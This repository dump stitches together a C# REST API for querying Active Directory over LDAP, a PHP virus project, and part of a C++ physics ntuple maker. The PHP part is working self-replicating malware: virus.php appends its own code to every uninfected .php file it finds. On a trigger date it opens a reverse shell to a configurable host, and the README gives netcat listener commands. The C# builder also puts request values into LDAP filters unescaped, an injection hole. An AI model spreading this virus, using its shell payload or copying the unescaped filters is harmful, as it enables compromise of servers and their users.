<repo_name>trenoncourt/AutoAd<file_sep>/src/AutoAd.Api/Extensions/QueryCollectionExtensions.cs using System; using System.Collections.Generic; using System.Linq; using AutoAd.Api.Aliases; using AutoAd.Api.Models; using Microsoft.AspNetCore.Http; namespace AutoAd.Api.Extensions { public static class QueryCollectionExtensions { public static IEnumerable<Filter> GetFilters(this IQueryCollection queryCollection) { ICollection<Filter> filters = new List<Filter>(); foreach (var queryPart in queryCollection) { if (FilterAlias.ReservedKewords.Any(kw => kw.EndsWith(queryPart.Key, StringComparison.InvariantCultureIgnoreCase))) continue; if (queryPart.Key.EndsWith(FilterAlias.EndsWith, StringComparison.InvariantCultureIgnoreCase)) { filters.Add(new Filter { Type = FilterType.EndsWith, Key = queryPart.Key.Replace(FilterAlias.EndsWith, "", StringComparison.InvariantCultureIgnoreCase), Value = queryPart.Value }); } else if (queryPart.Key.EndsWith(FilterAlias.StartsWith, StringComparison.InvariantCultureIgnoreCase)) { filters.Add(new Filter { Type = FilterType.StartsWith, Key = queryPart.Key.Replace(FilterAlias.StartsWith, "", StringComparison.InvariantCultureIgnoreCase), Value = queryPart.Value }); } else if (queryPart.Key.EndsWith(FilterAlias.Contains, StringComparison.InvariantCultureIgnoreCase)) { filters.Add(new Filter { Type = FilterType.Contains, Key = queryPart.Key.Replace(FilterAlias.Contains, "", StringComparison.InvariantCultureIgnoreCase), Value = queryPart.Value }); } else if (queryPart.Key.EndsWith(FilterAlias.OnlyActiveUsers, StringComparison.InvariantCultureIgnoreCase)) { filters.Add(new Filter { Type = FilterType.OnlyActiveUsers, Key = queryPart.Key, Value = queryPart.Value }); } else { filters.Add(new Filter { Type = FilterType.Equals, Key = queryPart.Key, Value = queryPart.Value }); } } return filters; } } }<file_sep>/README.md # AutoAd A microservice REST API to query Active Directory in .net core. <file_sep>/src/AutoAd.Api/Builders/LdapQueryBuilderExtensions.cs using System; using AutoAd.Api.Models; namespace AutoAd.Api.Builders { public static class LdapQueryBuilderExtensions { public static LdapQueryBuilder AddFilter(this LdapQueryBuilder builder, Filter filter) { switch (filter.Type) { case FilterType.Equals: builder.Equals(filter.Key, filter.Value); break; case FilterType.Contains: builder.Contains(filter.Key, filter.Value); break; case FilterType.StartsWith: builder.StartsWith(filter.Key, filter.Value); break; case FilterType.EndsWith: builder.EndsWith(filter.Key, filter.Value); break; case FilterType.OnlyActiveUsers: builder.OnlyActiveUsers(filter.Key, filter.Value); break; default: throw new ArgumentOutOfRangeException(); } return builder; } } }<file_sep>/src/AutoAd.Api/Models/Filter.cs namespace AutoAd.Api.Models { public class Filter { public FilterType Type { get; set; } public string Key { get; set; } public string Value { get; set; } } public enum FilterType : byte { Equals = 1, NotEquals = 2, Contains = 3, StartsWith = 4, EndsWith = 5, Exist = 6, Missing = 7, GreaterEqual = 8, LessEqual = 9, OnlyActiveUsers = 10 } }<file_sep>/src/AutoAd.Api/Aliases/FilterAlias.cs namespace AutoAd.Api.Aliases { public class FilterAlias { public const string Contains = "contains"; public const string StartsWith = "startswith"; public const string EndsWith = "endswith"; public const string NotEquals = "!"; public const string Exist = "exist"; public const string GreaterEquals = ">"; public const string LessEquals = "<"; public const string OnlyActiveUsers = "only_active_users"; public static readonly string[] ReservedKewords = { "attrs", "base" }; } }<file_sep>/src/AutoAd.Api/Program.cs using System; using Microsoft.AspNetCore.Builder; using Microsoft.AspNetCore.Hosting; using Microsoft.AspNetCore.Http; using Microsoft.AspNetCore.Routing; using Microsoft.Extensions.Configuration; using Microsoft.Extensions.DependencyInjection; using Microsoft.Extensions.Logging; using Novell.Directory.Ldap; using System.Collections.Generic; using System.IO; using System.Linq; using AutoAd.Api.Builders; using AutoAd.Api.Extensions; using AutoAd.Api.Models; using Newtonsoft.Json.Linq; namespace AutoAd.Api { public class Program { private static AppSettings AppSettings; public static void Main() { BuildWebHost().Run(); } public static IWebHost BuildWebHost() => new WebHostBuilder() .UseKestrel(options => options.AddServerHeader = false) .UseContentRoot(Directory.GetCurrentDirectory()) .UseIISIntegration() .ConfigureAppConfiguration((hostingContext, config) => { var env = hostingContext.HostingEnvironment; config.AddJsonFile("appsettings.json", optional: true, reloadOnChange: true); config.AddEnvironmentVariables(); AppSettings = config.Build().Get<AppSettings>(); }) .ConfigureLogging((hostingContext, logging) => { logging.AddConfiguration(hostingContext.Configuration.GetSection("Logging")); logging.AddConsole(); if (hostingContext.HostingEnvironment.IsDevelopment()) { } }) .UseDefaultServiceProvider((context, options) => { options.ValidateScopes = context.HostingEnvironment.IsDevelopment(); }) .ConfigureServices(services => { services.AddRouting(); if (AppSettings.Cors.Enabled) { services.AddCors(); } }) .Configure(app => { app.ConfigureCors(AppSettings); app.UseRouter(r => { r.MapGet("users", async context => { using (var cn = new LdapConnection()) { var followReferral = GetfollowReferral(context); if (followReferral) { var constraints = cn.SearchConstraints; constraints.ReferralFollowing = true; cn.Constraints = constraints; } cn.Connect(AppSettings.Ldap.Host, AppSettings.Ldap.Port); cn.Bind(AppSettings.Ldap.User, AppSettings.Ldap.Password); string @base = GetBase(context); if (string.IsNullOrEmpty(@base)) { context.Response.StatusCode = 400; await context.Response.WriteAsync("No base defined."); return; } string[] attrs = GetAttrs(context); IEnumerable<Filter> filters = context.Request.Query.GetFilters().ToList(); var builder = new LdapQueryBuilder(SearchType.User); if (filters.Any()) { foreach (Filter filter in filters) { builder.AddFilter(filter); } } string ldapQuery = builder.Build(); LdapSearchResults ldapResults = cn.Search(@base, LdapConnection.SCOPE_SUB, ldapQuery, attrs, false); var entries = new List<LdapEntry>(); var array = new JArray(); while (ldapResults.hasMore()) { LdapEntry user = ldapResults.next(); var attrSet = user.getAttributeSet(); JObject @object = new JObject(); foreach (LdapAttribute ldapAttribute in attrSet) { @object.Add(ldapAttribute.Name, ldapAttribute?.StringValue); } array.Add(@object); entries.Add(user); } string json = array.ToString(); context.Response.ContentType = "application/json"; await context.Response.WriteAsync(json); } }); }); }) .Build(); private static string GetBase(HttpContext context) { string @base = context.Request.Query["base"].ToString(); if (string.IsNullOrEmpty(@base)) { @base = AppSettings.Ldap.Base; } return @base; } private static string[] GetAttrs(HttpContext context) { if (!context.Request.Query.ContainsKey("attrs")) return null; return context.Request.Query["attrs"].ToString().Split(','); } private static bool GetfollowReferral(HttpContext context) { string @base = context.Request.Query["followReferral"].ToString(); if (string.IsNullOrEmpty(@base)) { @base = AppSettings.Ldap.FollowReferral; } return @base.ToLower() == "true"; } } } <file_sep>/src/AutoAd.Api/AppSettings.cs namespace AutoAd.Api { public class AppSettings { public CorsSettings Cors { get; set; } public LdapSettings Ldap { get; set; } } public class CorsSettings { public bool Enabled { get; set; } public string Methods { get; set; } public string Origins { get; set; } public string Headers { get; set; } } public class LdapSettings { public string FollowReferral { get; set; } public string Host { get; set; } public int Port { get; set; } public string User { get; set; } public string Password { get; set; } public string Base { get; set; } } } <file_sep>/src/AutoAd.Api/Builders/SearchType.cs namespace AutoAd.Api.Builders { public enum SearchType : byte { None, User, Group } }<file_sep>/src/AutoAd.Api/Builders/LdapQueryBuilder.cs using System; using System.Text; namespace AutoAd.Api.Builders { public class LdapQueryBuilder { private readonly SearchType _searchType; private readonly StringBuilder _sb; public LdapQueryBuilder(SearchType searchType = SearchType.None, BaseQueryMode baseQueryMode = BaseQueryMode.And) { _searchType = searchType; _sb = new StringBuilder(); switch (searchType) { case SearchType.None: _sb.Append("("); break; case SearchType.User: _sb.Append("(&(|(objectClass=inetOrgPerson)(objectClass=user))("); break; case SearchType.Group: break; default: throw new ArgumentOutOfRangeException(nameof(searchType), searchType, null); } switch (baseQueryMode) { case BaseQueryMode.And: _sb.Append("&"); break; case BaseQueryMode.Or: _sb.Append("|"); break; default: throw new ArgumentOutOfRangeException(nameof(baseQueryMode), baseQueryMode, null); } } public LdapQueryBuilder Equals(string key, string value) { _sb.AppendFormat("({0}={1})", key, value); return this; } public LdapQueryBuilder NotEquals(string key, string value) { _sb.AppendFormat("(!({0}={1}))", key, value); return this; } public LdapQueryBuilder Contains(string key, string value) { _sb.AppendFormat("({0}=*{1}*)", key, value); return this; } public LdapQueryBuilder StartsWith(string key, string value) { _sb.AppendFormat("({0}={1}*)", key, value); return this; } public LdapQueryBuilder EndsWith(string key, string value) { _sb.AppendFormat("({0}=*{1})", key, value); return this; } public LdapQueryBuilder OnlyActiveUsers(string key, string value) { if (value == "true" || value == "1") { _sb.Append("(!(userAccountControl:1.2.840.113556.1.4.803:=2))"); } return this; } public LdapQueryBuilder Exist(string key, string value) { if (value.Equals("true", StringComparison.InvariantCultureIgnoreCase)) { _sb.AppendFormat("({0}=*)", key); } else if (value.Equals("false", StringComparison.InvariantCultureIgnoreCase)) { _sb.AppendFormat("(!({0}=*))", key); } return this; } public LdapQueryBuilder GreaterEquals(string key, string value) { _sb.AppendFormat("({0}>={1})", key, value); return this; } public LdapQueryBuilder LessEquals(string key, string value) { _sb.AppendFormat("({0}<={1})", key, value); return this; } public string Build() { switch (_searchType) { case SearchType.None: _sb.Append(")"); break; case SearchType.User: _sb.Append(")"); break; case SearchType.Group: break; default: throw new ArgumentOutOfRangeException(nameof(_searchType), _searchType, null); } _sb.Append(")"); return _sb.ToString(); } } public enum BaseQueryMode : byte { And = 1, Or = 2 } }
a509d28f47c34908c22998b1afd9ed8d7522c73f
[ "Markdown", "C#" ]
9
C#
trenoncourt/AutoAd
672531af49e27528c1a3f4e1e322e6b6392753f2
9e87c7040a5f0ddb04d12047d0e4231adc2d2e07
refs/heads/master
<repo_name>27182818284590452/Viral-PHP-script<file_sep>/README.md ![alt text](https://github.com/27182818284590452/Viral-PHP-script/tree/master/Images/php.png) # Viral-PHP-script Simple PHP-virus with optional payload. For private use only, the developer is not responsible for the use of this project. # Requirements Script requires PHP 7.1.23 or later. Check your version by typing: ``` php --version ``` into your shell. # Usage: ## Step 1.1 (optional): You can use the default payload, which opens a reverse shell to a remote host. You can change the payload by inserting your own php payload into the payload function. ```php // exec payload function payload(){ if(date("md") == 0424){ $sock = fsockopen(Hostname, Port); exec ("/bin/sh -i <&3 >&3 2>&3"); } } ``` ### Step 1.2 (optional): Please change Hostname and Port to your own setting. (FREX. Hostname = 127.0.0.1 Port = 1234). ```php // sets Hostname and Port define("Hostname", "127.0.0.1"); define("Port", 1234); ``` ## Step 2 (optional): Set your own signature. ```php // define signature define("SIGNATURE", "§16N47UR3"); ``` ## Step 3: Start the netcat listener on your machine. ``` nc 127.0.0.1 1234 -e /bin/sh # Linux reverse shell nc 127.0.0.1 1234 -e cmd.exe # Windows reverse shell ``` For versions that don't support the -e option ``` nc -e /bin/sh 127.0.0.1 1234 ``` ## Step 4: Execute virus.php on victim. ``` php virus.php ``` # Step 5: Catch shell on attacker machine. <file_sep>/virus.php <?php // define signature define("SIGNATURE", "§16N47UR3"); // determine whether backslash or forward slashes are used define("SLASH", stristr($_SERVER['PWD'], "/") ? "/" : "\\"); // get linenumbers and start-/endline $linenumber = __LINE__; define("STARTLINE",$linenumber-4); define("ENDLINE",$linenumber+78); // sets Hostname and Port define("Hostname", "127.0.0.1"); define("Port", 1234); // search files in dir function search($path){ $ret = ""; $fp = opendir($path); while($f = readdir($fp)){ if( preg_match("#^\.+$#", $f) ) continue; // ignore symbolic links $file_full_path = $path.SLASH.$f; if(is_dir($file_full_path)) { // if it's a directory, recurse $ret .= search($file_full_path); } else if( !stristr(file_get_contents($file_full_path), SIGNATURE) ) { // search for uninfected files to infect $ret .= $file_full_path."\n"; } } return $ret; } // modify old code to fit in and get executed function parse_filecontents($filecontents, $classif){ $parsed = str_replace("?>", " ", $filecontents); if($classif == True){ $parsed_file = str_replace("<?php", " ", $parsed); return $parsed_file; } else{ return $parsed; } } // infect files and exec function infect($filestoinfect){ $handle = @fopen(__FILE__, "r"); $counter = 1; $virusstring = ""; while(($buffer=fgets($handle,4096)) !== false){ if($counter>=STARTLINE && $counter<=ENDLINE){ $virusstring .= $buffer; } $counter++; } fclose($handle); $filesarray = array(); $filesarray = explode("\n",$filestoinfect); foreach($filesarray AS $v){ if(substr($v,-4)===".php"){ $filecontents = file_get_contents($v); $Completecontent = parse_filecontents($filecontents, False); $virusfile = parse_filecontents($virusstring, True); file_put_contents($v,$Completecontent."\n".$virusfile."?>"); } } } // exec payload function payload(){ if(date("md") == 0424){ $sock = fsockopen(Hostname, Port); exec ("/bin/sh -i <&3 >&3 2>&3"); } } $filestoinfect = search(__DIR__); infect($filestoinfect); payload(); ?>
f3498a94b3625b665abc5316e1590767ad10d078
[ "Markdown", "PHP" ]
2
Markdown
27182818284590452/Viral-PHP-script
8d02f688ad6995938b11caf741ac5d0b28a5b3fb
58f178c6c0bd51d447664ffaad6c9da2929d7d42
refs/heads/master
<file_sep>var defaultBgColor = 'white'; $(document).delegate('.ui-page', 'pageinit', function () { // setting background for the entire page var bgcolor = $('.mdContent').css('background-color'); if(bgcolor != 'transparent') { $(this).css('background', bgcolor); //'this' refers to '.ui-page' } else { $(this).css('background', defaultBgColor); } $.mobile.defaultPageTransition = "slide"; $('img').error(function() { this.style.display = 'none'; }); }); //$(document).ready(function () { //edit_page(); //}); function edit_page() { var count = 1; var height = 10; $('#primary').children().each(function () { $(this).attr("id", "drag" + count); $(this).attr("draggable", "true"); $(this).attr("ondragstart", "drag(event)"); count++; $(this).css("position", "absolute"); $(this).css("top", height); $(this).css("left", 50); var increment = parsePixels($(this).css("height")) + 10; height += increment; }); $('#primary').css("height", height); } function allowDrop(ev) { ev.preventDefault(); } function drag(ev) { ev.dataTransfer.setData("Text", ev.target.id); ev.dataTransfer.setData("X", ev.clientX); ev.dataTransfer.setData("Y", ev.clientY); } function drop(ev) { var data = ev.dataTransfer.getData("Text"); var originX = ev.dataTransfer.getData("X"); var destX = ev.clientX; var originY = ev.dataTransfer.getData("Y"); var destY = ev.clientY; var offsetX = originX - destX; var offsetY = originY - destY; var item = $('#' + data); var itemLeft = parsePixels(item.css("left")); var itemTop = parsePixels(item.css("top")); var itemWidth = parsePixels(item.css("width")); var itemHeight = parsePixels(item.css("height")); var newX = itemLeft - offsetX; var newY = itemTop - offsetY; var containerWidth = parsePixels($('#primary').css('width')); var containerHeight = parsePixels($('#primary').css('height')); if (newX + itemWidth > containerWidth || newX < 0 || newY + itemHeight > containerHeight || newY < 0) { alert("Must drag item within the box"); } else { item.css("left", newX); item.css("top", newY); } ev.preventDefault(); } function parsePixels(str) { var numStr = str.split("px"); return parseInt(numStr); } <file_sep>class Site < ActiveRecord::Base attr_accessible :content, :logo_img, :nav_menu, :url serialize :nav_menu end <file_sep>// Place all the behaviors and hooks related to the matching controller here. // All this logic will automatically be available in application.js. $(function () { $("#screen_view").hide(); //$("#url_input").change(function () { //var x = $("#url_input").val(); ////alert(x); //var y = x.substring(11, x.length - 4); ////alert(y); //var z = escape("assets/") + y + ".jpg"; ////alert(z); //$("#websitethumbnail").attr("src", z); //$("#desktop_iframe").attr("src", x); //$("#mobile_iframe").attr("src", x); //$("#screen_view").show(); //} //); /* $("#action").click(function () { var x = $("#url_input").val(); //alert(x); var y = x.substring(11, x.length - 4); //alert(y); var z = escape("assets/") + y + ".jpg"; //var z = y + ".jpg"; //alert(z); $("#websitethumbnail").attr("src", z); } );*/ }); <file_sep>Mb::Application.routes.draw do root to: 'main#index' post "site/create" get "site/show" get "main/index" get "main/dashboard" end <file_sep>class SiteController < ApplicationController layout 'mobile' def create url = params[:url] reset_session session[:current_url] = url.sub(/\/$/,'') @site = Site.new( url: url, logo_img: params[:logo], nav_menu: params[:menu], content: params[:content] ) if @site.save head :ok else head :bad_request end end def show url = session[:current_url] logger.debug "===== url: #{url}" if url.nil? head :not_found else @site = Site.find_by_url(url+'/') end end end <file_sep>source 'https://rubygems.org' gem 'rails', '3.2.9' gem 'thin', '~> 1.5.0' group :development do gem 'sqlite3' end group :assets do gem 'sass-rails', '~> 3.2.3' gem 'bootstrap-sass', '~> 2.2.1.1' gem 'uglifier', '>= 1.0.3' gem 'bootswatch-rails', '~> 0.1.0' end gem "jquery-rails", "~> 2.1.4" gem 'jquery_mobile_rails', '~> 1.2.0' gem "cocaine", "0.3.2" gem 'miro', :git => 'git://github.com/rickkoh/miro.git' gem 'fastimage', '1.2.13' gem 'font-awesome-sass-rails', '~> 2.0.0.0' gem 'rmagick', '~> 2.13.1' group :production do gem 'pg', '0.12.2' end
23ec8f79b785a0ed2057ebd3fed4f35854a49a46
[ "JavaScript", "Ruby" ]
6
JavaScript
xurick/mbilify
a7ffb1925824bba2eae4e9ec49c19da609824792
a4b8876ab792c72b037ba8699c304a1e0f016a22
refs/heads/master
<file_sep># -*- encoding: utf-8 -*- # -*- mamba-file-type: mamba-model -*- # Copyright (c) 2014 - sorcha <<EMAIL>> """ .. model:: CharacterFeat :plarform: Linux :synopsis: None .. modelauthor:: sorcha <<EMAIL>> """ # it's better if you remove this star import and import just what you # really need from mamba.enterprise from mamba.enterprise import * from storm.locals import Int, Reference from mamba.application import model from application.model.character import Character from application.model.feat import Feat class CharacterFeat(model.Model): """ None """ __storm_table__ = 'character_feat' id = Int(primary=True, unsigned=True) character_id = Int(unsigned=True) feat_id = Int(unsigned=True) character = Reference(character_id, Character.id) feat = Reference(feat_id, Feat.id) <file_sep># -*- encoding: utf-8 -*- # -*- mamba-file-type: mamba-controller -*- # Copyright (c) 2014 - sorcha <<EMAIL>> """ .. controller:: Character :platform: Linux :synopsis: None .. controllerauthor:: sorcha <<EMAIL>> """ from mamba.web.response import Ok from mamba.application import route from mamba.application import controller from application.model.character import Character class Character(controller.Controller): """ None """ name = 'Character' __route__ = 'character' def __init__(self): """ Put your initialization code here """ super(Character, self).__init__() @route('/') def root(self, request, **kwargs): return Ok('I am the Character, hello world!') @route('/create', method='POST') def create(self, request, **kwargs): str_kwargs = str(kwargs) return Ok( 'Create a character with {} you say'.format( str_kwargs ) ) <file_sep># -*- encoding: utf-8 -*- # -*- mamba-file-type: mamba-model -*- # Copyright (c) 2014 - sorcha <<EMAIL>> """ .. model:: Lammie :plarform: Linux :synopsis: None .. modelauthor:: sorcha <<EMAIL>> """ # it's better if you remove this star import and import just what you # really need from mamba.enterprise from mamba.enterprise import * from storm.locals import Int, Reference from mamba.application import model from application.model.character import Character class Lammie(model.Model): """ None """ __storm_table__ = 'lammie' id = Int(primary=True, unsigned=True) name = Unicode(size=200) description = Unicode(size=1000) attune_time = Int() expiry_event = Int() lammie_type = Unicode(size=50) used = Unicode(size=3)# yes / no / na barcode = Unicode(size=20) slot = Unicode(size=15) class_to_use = Unicode(size=15) character_id = Int(unsigned=True) creator_id = Int(unsigned=True) character = Reference(character_id, Character.id) creator = Reference(creator_id, Character.id) <file_sep># -*- encoding: utf-8 -*- # -*- mamba-file-type: mamba-controller -*- # Copyright (c) 2014 - sorcha <<EMAIL>> """ .. controller:: Player :platform: Linux :synopsis: None .. controllerauthor:: sorcha <<EMAIL>> """ from mamba.core import templating from mamba.web.response import Ok, BadRequest from mamba.application import route from mamba.application import controller from application.model.player import Player as PlayerModel class Player(controller.Controller): """ None """ name = 'Player' __route__ = 'player' def __init__(self): """ Put your initialization code here """ super(Player, self).__init__() self.template = templating.Template( controller=self ) @route('/') def root(self, request, **kwargs): return Ok( "Player controller" ) @route('/create', method='POST') def create(self, request, **kwargs): str_kwargs = str(kwargs) required = [ "name", "mobile", "email", "emergency_name", "emergency_mobile", "old_id" ] unicodes = [ "name", "mobile", "email", "emergency_name", "emergency_mobile" ] for requirement in required: if requirement not in kwargs: return BadRequest( "Cannot create a player without {}".format( requirement ) ) for requirement in unicodes: kwargs[requirement] = unicode( kwargs[requirement] ) kwargs["old_id"] = int(kwargs["old_id"]) p = PlayerModel() print "p is {}".format(p) p.name = kwargs["name"] print "p.name is {}".format(p.name) x = p.create_from_dict(kwargs) print "x is {}".format(x) def temp_print(input): if "Created" in input: return Ok(input) return BadRequest(input) x.addCallback(temp_print) return x <file_sep># -*- encoding: utf-8 -*- # -*- mamba-file-type: mamba-model -*- # Copyright (c) 2014 - sorcha <<EMAIL>> """ .. model:: Lore :plarform: Linux :synopsis: None .. modelauthor:: sorcha <<EMAIL>> """ # it's better if you remove this star import and import just what you # really need from mamba.enterprise from mamba.enterprise import * from mamba.application import model class Lore(model.Model): """ None """ __storm_table__ = 'lore' id = Int(primary=True, unsigned=True) name = Unicode(size=200) <file_sep># -*- encoding: utf-8 -*- # -*- mamba-file-type: mamba-model -*- # Copyright (c) 2014 - sorcha <<EMAIL>> """ .. model:: CharacterBackground :plarform: Linux :synopsis: None .. modelauthor:: sorcha <<EMAIL>> """ # it's better if you remove this star import and import just what you # really need from mamba.enterprise from mamba.enterprise import * from storm.locals import Int, Reference from mamba.application import model from application.model.character import Character class CharacterBackground(model.Model): """ None """ __storm_table__ = 'character_background' id = Int(primary=True, unsigned=True) character_id = Int(unsigned=True) description = Unicode(size=500) approved = Bool() character = Reference(character_id, Character.id) <file_sep># -*- encoding: utf-8 -*- # -*- mamba-file-type: mamba-model -*- # Copyright (c) 2014 - sorcha <<EMAIL>> """ .. model:: CharacterRecipe :plarform: Linux :synopsis: None .. modelauthor:: sorcha <<EMAIL>> """ # it's better if you remove this star import and import just what you # really need from mamba.enterprise from mamba.enterprise import * from storm.locals import Int, Reference from mamba.application import model from application.model.character import Character from application.model.recipe import Recipe class CharacterRecipe(model.Model): """ None """ __storm_table__ = 'character_recipe' id = Int(primary=True, unsigned=True) character_id = Int(unsigned=True) recipe_id = Int(unsigned=True) characer = Reference(character_id, Character.id) recipe = Reference(recipe_id, Recipe.id) <file_sep># -*- encoding: utf-8 -*- # -*- mamba-file-type: mamba-model -*- # Copyright (c) 2014 - sorcha <<EMAIL>> """ .. model:: Character :plarform: Linux :synopsis: None .. modelauthor:: sorcha <<EMAIL>> """ # it's better if you remove this star import and import just what you # really need from mamba.enterprise from mamba.enterprise import * from storm.locals import Int, Reference from mamba.application import model from application.model.player import Player from application.model.species import Species class Character(model.Model): """ None """ __storm_table__ = 'character' id = Int(primary=True, unsigned=True) player_id = Int(unsigned=True) name = Unicode(size=200) char_level = Int(unsigned=True) wizard = Int(unsigned=True) bard = Int(unsigned=True) cleric = Int(unsigned=True) fighter = Int(unsigned=True) rogue = Int(unsigned=True) body = Int(unsigned=True) mana = Int(unsigned=True) armour = Int(unsigned=True) XP = Int(unsigned=True) blended = Int(unsigned=True) earth = Int(unsigned=True) air = Int(unsigned=True) fire = Int(unsigned=True) water = Int(unsigned=True) species_id = Int(unsigned=True) comments = Unicode(size=500) player = Reference(player_id, Player.id) species = Reference(species_id, Species.id) <file_sep># -*- encoding: utf-8 -*- # -*- mamba-file-type: mamba-model -*- # Copyright (c) 2014 - sorcha <<EMAIL>> """ .. model:: Recipe :plarform: Linux :synopsis: None .. modelauthor:: sorcha <<EMAIL>> """ # it's better if you remove this star import and import just what you # really need from mamba.enterprise from mamba.enterprise import * from mamba.application import model class Recipe(model.Model): """ None """ __storm_table__ = 'recipe' id = Int(primary=True, unsigned=True) item_type = Unicode(size=20) effect1 = Unicode(size=200) effect2 = Unicode(size=200) attune_time = Int(unsigned=True) any_crystal = Int(unsigned=True) void_crystal = Int(unsigned=True) blended_crystal = Int(unsigned=True) air_crystal = Int(unsigned=True) fire_crystal = Int(unsigned=True) earth_crystal = Int(unsigned=True) water_crystal = Int(unsigned=True) class_req = Unicode(size=25) secret = Bool(default=False) craft = Bool(default=False) level = Unicode(size=50) # ie Apprentice, Journyman etc. <file_sep># -*- encoding: utf-8 -*- # -*- mamba-file-type: mamba-controller -*- # Copyright (c) 2014 - sorcha <<EMAIL>> """ .. controller:: Contact :platform: Linux :synopsis: Contact form for Eblana app .. controllerauthor:: sorcha <<EMAIL>> """ from mamba.core import templating from mamba.web.response import Ok from mamba.application import route from mamba.application import controller class Contact(controller.Controller): """ Contact form for Eblana app """ name = 'Contact' __route__ = 'contact' def __init__(self): """ Put your initialization code here """ super(Contact, self).__init__() self.template = templating.Template(controller=self) @route('/') def root(self, request, **kwargs): return Ok(self.template.render().encode('utf-8'))<file_sep># -*- encoding: utf-8 -*- # -*- mamba-file-type: mamba-model -*- # Copyright (c) 2014 - sorcha <<EMAIL>> """ .. model:: Feat :plarform: Linux :synopsis: None .. modelauthor:: sorcha <<EMAIL>> """ # it's better if you remove this star import and import just what you # really need from mamba.enterprise from mamba.enterprise import * from storm.locals import Int, Reference from mamba.application import model from application.model.species import Species class Feat(model.Model): """ None """ __storm_table__ = 'feat' id = Int(primary=True, unsigned=True) name = Unicode(size=50) description = Unicode(size=200) level_req = Int(unsigned=True) feat_req_id = Int(unsigned=True) species_req_id = Int(unsigned=True) class_req = Unicode(size=25) crafting = Bool(default=False) level_1_only = Bool(default=False) secret = Bool(default=False) species_req = Reference(species_req_id, Species.id) <file_sep># -*- encoding: utf-8 -*- # -*- mamba-file-type: mamba-model -*- # Copyright (c) 2014 - sorcha <<EMAIL>> """ .. model:: CharacterLore :plarform: Linux :synopsis: None .. modelauthor:: sorcha <<EMAIL>> """ # it's better if you remove this star import and import just what you # really need from mamba.enterprise from mamba.enterprise import * from storm.locals import Int, Reference from mamba.application import model from application.model.character import Character from application.model.lore import Lore class CharacterLore(model.Model): """ None """ __storm_table__ = 'character_lore' id = Int(primary=True, unsigned=True) character_id = Int(unsigned=True) lore_id = Int(unsigned=True) character = Reference(character_id, Character.id) lore = Reference(lore_id, Lore.id) <file_sep>Flask==0.10.1 Jinja2==2.7.3 MarkupSafe==0.23 MySQL-python==1.2.5 Twisted==14.0.2 Werkzeug==0.9.6 argparse==1.2.1 ecdsa==0.11 ipython==2.2.0 itsdangerous==0.24 -e git+https://github.com/PyMamba/mamba-framework.git@519b092ec6a39b951e4dfb8485ccafd6c1be9492#egg=mamba_framework-dev paramiko==1.15.1 pycrypto==2.6.1 singledispatch==3.4.0.3 six==1.8.0 -e git+https://github.com/DamnWidget/mamba-storm.git@<PASSWORD>#egg=storm-master stormssh==0.6.5 termcolor==1.1.0 transaction==1.4.3 wsgiref==0.1.2 zope.component==4.2.1 zope.event==4.0.3 zope.interface==4.1.1 <file_sep># -*- encoding: utf-8 -*- # -*- mamba-file-type: mamba-model -*- # Copyright (c) 2014 - sorcha <<EMAIL>> """ .. model:: Player :plarform: Linux :synopsis: None .. modelauthor:: sorcha <<EMAIL>> """ # it's better if you remove this star import and import just what you # really need from mamba.enterprise from mamba.enterprise import * from mamba.application import model from _mysql_exceptions import IntegrityError class Player(model.Model): """ None """ __storm_table__ = 'player' __unique__ = ["mobile", "email", "old_id"] id = Int(primary=True, unsigned=True, auto_increment=True) name = Unicode(size=250) mobile = Unicode(size=20, unique=True) email = Unicode(size=50, allow_none=False, unique=True) emergency_name = Unicode(size=250) emergency_mobile = Unicode(size=20) old_id = Int(size=20, unique=True) def __init__(self): self.__unique__ = ["mobile", "email", "old_id"] @transact def create_from_dict(self, data): player = Player() fields = [ "name", "mobile", "email", "emergency_name", "emergency_mobile", "old_id" ] for field in self.__unique__: results = Player.find( getattr(Player, field) == data[field], async=False ) if results.count() != 0: existing = results[0].id return ( "Cannot create player with {}".format( field ) + ": {}".format( data[field] ) + " because we already have one, {}".format( existing ) ) for field in fields: setattr(player, field, data[field]) player.store().add(player) player.store().flush() #not doing it this way because #that uses up the next auto assign #try: # player.store().flush() #except IntegrityError as err: # print "err is type {}".format(type(err)) return "Created player number {}".format( player.dict()["id"] )
d00f630a54190b8499facf58910bd325c103fe58
[ "Python", "Text" ]
14
Python
saoili/Eblana_mamba_app
3b024268c3b2b731560362ca9aa72add560c93c7
727d7b04f7ae84264456cb60d2d2819654599cc5
refs/heads/master
<repo_name>sgnoohc/babycms4<file_sep>/babycms4.h // . // ..: <NAME>, <EMAIL> #ifndef babycms4_h #define babycms4_h #include <cstdlib> // CORE #include "CORE/CMS3.h" // COREHelper #include "COREHelper/corehelper.h" // cxxopts #include "cxxopts/include/cxxopts.hpp" // RooUtil #include "rooutil/looper.h" #include "rooutil/stringutil.h" #include "rooutil/fileutil.h" class BabyCMS4 { public: // Members CORE2016 core; TChain* chain; int n_evt_to_process; TString core_opt_str; TString output_file_name; // Functions BabyCMS4(); ~BabyCMS4(); void run(); }; #endif //eof <file_sep>/babycms4.cc // . // ..: <NAME>, <EMAIL> #include "babycms4.h" int main(int argc, char* argv[]) { //--------------------------------------------------------------------------------------------- // Parsing options to the program //--------------------------------------------------------------------------------------------- try { cxxopts::Options options(argv[0], "Baby Maker from CMS4"); options.positional_help("[optional args]"); options.add_options() ("i,input", "Comma separated Input CMS4 root path. Wildcard supported only at the most lower level directory. (e.g. '/path/to/my/ttbar/merged_*.root,/path/to/my/dy/merged_*.root')", cxxopts::value<std::string>(), "file1.root,file2.root") ("o,output", "Output ROOT file path.", cxxopts::value<std::string>()->default_value("output.root"), "OUTPUT") ("n,nevt", "Number of events to process.", cxxopts::value<int>()->default_value("-1"), "NEVENTS") ("treename", "TTree name in each root file.", cxxopts::value<std::string>()->default_value("Events"), "TREENAME") ("h,help", "Print help") ; options.parse(argc, argv); // Print help message if --help or -h is provided if (options.count("help")) { RooUtil::print(options.help()); exit(0); } // Required options if (!options.count("input")) { RooUtil::error("option --input missing"); exit(1); } //--------------------------------------------------------------------------------------------- // Configuring the BabyCMS4 instance //--------------------------------------------------------------------------------------------- BabyCMS4 babycms4; // Load all the ttrees from all the input files to the TChain babycms4.chain = RooUtil::FileUtil::createTChain( options["treename"].as<std::string>().c_str() , options["input"] .as<std::string>().c_str() ); // Set the total number of events to process babycms4.n_evt_to_process = options["nevt"].as<int>(); // Set the option string to be passed to the COREHelper. // The hadoop directory path contains the CMS4 sample name. // To first order the CMS4 sample name is enough to configure what we need to do. babycms4.core_opt_str = options["input"].as<std::string>().c_str(); // Set the output root file babycms4.output_file_name = options["output"].as<std::string>().c_str(); 